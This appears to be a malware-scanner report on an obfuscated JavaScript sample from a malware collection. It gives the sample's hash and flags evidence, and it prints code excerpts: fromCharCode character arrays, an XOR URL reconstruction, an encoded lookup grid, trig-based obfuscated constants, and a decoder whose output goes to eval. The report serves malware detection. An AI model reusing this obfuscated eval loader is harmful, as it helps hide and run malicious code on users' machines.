Suspicious ^80% javascript-malware-collection Download

20151217_ed4b03f76122854e8191429115052f1f.js

Obfuscated eval-driven charcode payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256117f51da7cabe4bec32bfb5e5fb83f6fbc4c07dbb507fae23948df61610fd0f1

Evidence

Builds characters with String.fromCharCode line 2

2:146… 'T','W','U',')','t','K','X','M','9','z','R','q','W','X','w','(',String.fromCharCode(10),'&','d','1','%','b','r','y','w','h','y','D','[','V','P','U','D','@',String.fromCharCode(13),'M','!','/','/','k','[','W','_','=','P','k','<','t','B',' ','w','Z','R','v','g','o','u','R','A','R','w','`','!','^','Z','q','2','m','j','!','U','W','&','F','2','=','x','t','+','*',':','+','>','8','z','w','@','5','A','B','J','T','g','2','m','R …

XOR URL reconstruction call line 2

2:1846… 'X','Y',')',':','x',' ','r','.','G','q','Z','-','/','r','[','(',String.fromCharCode(92),'c','>','Q','Y','Z',']','R','o','a','<','^',']','&','u','V','_','Y','s','=','K',')','`','Y','<','=','(','6','W','a','r','w','B','b','v','{','c','Y','{','y',']','/','l','Z …

Dense indexed short-token grid lines 4–13

4:44… DkLlRh){gxlL=THjMBkNVePhMxKkCU(YxygRBnTjvD,ZpJfknpIRTTvL);SSFPl=gxlL.toString(ySDkLlRh);return SSFPl;}
5function cUgXTsRlcWmYHWY(IsxifnJDDOxcWdyxr,krjOtqpBddQBFLWsoKGgZAPhiGmetbesef,MXtWrHACLLrvACDscyHKpOXbFsvnchSraaH){eval(IsxifnJDDOxcWdyxr);}
6function ytQLQoewsCmpNuVPtqUcyBkQMntTVnANgOWBHuydgSKHPRIVSCChAd(zujRXiXFEBXJb,sPLexEBAxmwOuw){ return kwHGjCS[PJeIPSsN[NkqIs(zujRXiXFEBXJb[sPLexEBAxmwOuw],(3489+543)/144,(943+367)/131)]];}
7function UjhvpXc(VALjsDUZgEcTOIgAJYFoVQuXRraQEDydjILW) {return !ukPIwHHiwKJ(pxZoOgYGWuJjyst(VALjsDUZgEcTOIgAJYFoVQuXRraQEDydjILW)) && HAazOzMaNKTr(VALjsDUZgEcTOIgAJYFoVQuXRraQEDydjILW);}
8function ukPIwHHiwKJ(hxcLRCFkccXCRs) {return isNaN(hxcLRCFkccXCRs);}
9function HAazOzMaNKTr(QPQkKlAtabKuU) {return isFinite(QPQkKlAtabKuU);}
10function THjMBkNVePhMxKkCU(agKDQpogqU,ZyzayPQuCl) {return parseInt(agKDQpogqU,ZyzayPQuCl);}
11function pxZoOgYGWuJjyst(xhThVtVutsnDlXRzBcL) {return parseFloat(xhThVtVutsnDlXRzBcL);}
12function K(okfBOwUmfVdirY,gYrSzyidBOSHu,cgBkjxeTntZ) {okfBOwUmfVdirY[gYrSzyidBOSHu]=cgBkjxeTntZ;}
13var L = new Array();L[0]=[];L[0][0]='d';L[0][1]='a';L[0][2]='d';L[0][3]='a';L[0][4]='46';L[0][5]='3d';L[0][6]='42';L[0][7]='14';L[0][8]='44';L[0][9]='14';L[0][10]='25';L[0][11]='14';L[0][12]='16';L[0][13]='47';L[0][14]='3k';L[0][15]='3d';L[0][16]='44';L[0][17]='3g';L[0][18]='3l';L[0][19]='3g';L[0][20]='49';L[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],L[4],L[5]];
20var CvxqFxOEg=[];
21function EKgIsghWULdQSfeRl(QkynY){JgftWNkTgcH= '';ygsiCyLAmRy=Math.round((Math.pow(Math.sin(363), 2) + Math.pow(Math.cos(363), 2) - 1));while(true){if (ygsiCyLAmRy >= (3644+922)/761){break;}CvxqFxOEg[ygsiCyLAmRy]=Math.round((Math.pow(Math.sin(495), 2) + Math.pow(Math.cos(495), 2) - 1)); while(true) { if(CvxqFxOEg[ygsiCyLAmRy] > QkynY[ygsiCyLAmRy].length-(213+187)/400) { break; } if (UjhvpXc(NkqIs(QkynY[ygsiCyLAmRy][CvxqFxOEg[ygsiCyLAmRy]],(-582+834)/9,(924+566)/149))) {JgftWNkTgcH += ytQLQoewsCmpNuVPtqUcyBkQMntTVnANgOWBHuydgSKHPRIVSCChAd([QkynY[ygsiCyLAmRy][CvxqFxOEg[ygsiCyLAmRy]]], Math.round((Math.pow(Math.sin(702), 2) + Math.pow(Math.cos(702), 2) - 1)));} CvxqFxOEg[ygsiCyLAmRy]++;}ygsiCyLAmRy++;} return JgftWNkTgcH}
22var bCSGnYjbSFBdHehmaUbwNYrmuCmWsfSTK = 'loqGwrUvtNanxnIsFaNXicxfaFSBIlSFqfTb';var OnfVRmjQgGlZvwIjpEPcWKIPLtRmAuQi = 'aTuoSinjCGmFZPNYyCygJCclHDZvesvBLLKg';cUgXTsRlcWmYHWY(EKgIsghWULdQSfeRl(QkynY),bCSGnYjbSFBdHehmaUbwNYrmuCmWsfSTK,OnfVRmjQgGlZvwIjpEPcWKIPLtRmAuQi);